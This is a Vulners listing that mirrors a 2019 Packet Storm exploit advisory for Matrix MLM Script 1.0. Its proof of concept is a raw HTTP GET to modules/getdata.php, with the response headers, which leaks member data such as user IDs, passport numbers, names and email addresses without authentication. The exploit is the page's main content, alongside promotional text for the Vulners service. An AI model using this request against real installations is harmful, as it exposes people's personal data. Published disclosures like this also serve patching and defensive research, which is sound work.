Lucene search
K

Matrix MLM Script 1.0 Information Disclosure

🗓️ 10 Jan 2019 00:00:00Reported by Ihsan SencanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 47 Views

Matrix MLM Script 1.0 Information Disclosure on getdata.ph

Code
`# Exploit Title: Matrix MLM Script 1.0 - Information Leakage  
# Dork: N/A  
# Date: 2019-01-10  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: https://royallifefoundation.org/  
# Software Link: https://codecanyon.net/item/mlmpro-multistage-forced-matrix-mlm-script/23050292  
# Version: 1.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)   
# http://localhost/[PATH]/modules/getdata.php  
#   
# userid=  
# username=  
# profileid=  
# passport=  
# currentstage=  
# l_member=  
# r_member=  
# firstname=  
# lastname=  
# emailaddress=  
# parentid=1  
  
GET /[PATH]/modules/getdata.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=e1js8vek57sgge2oso51do2255  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0  
HTTP/1.1 200 OK  
Date: Wed, 09 Jan 2019 18:24:01 GMT  
Server: Apache  
X-Powered-By: PHP/5.6.39  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Vary: Accept-Encoding,User-Agent  
Content-Type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jan 2019 00:00Current
7.4High risk
Vulners AI Score7.4
47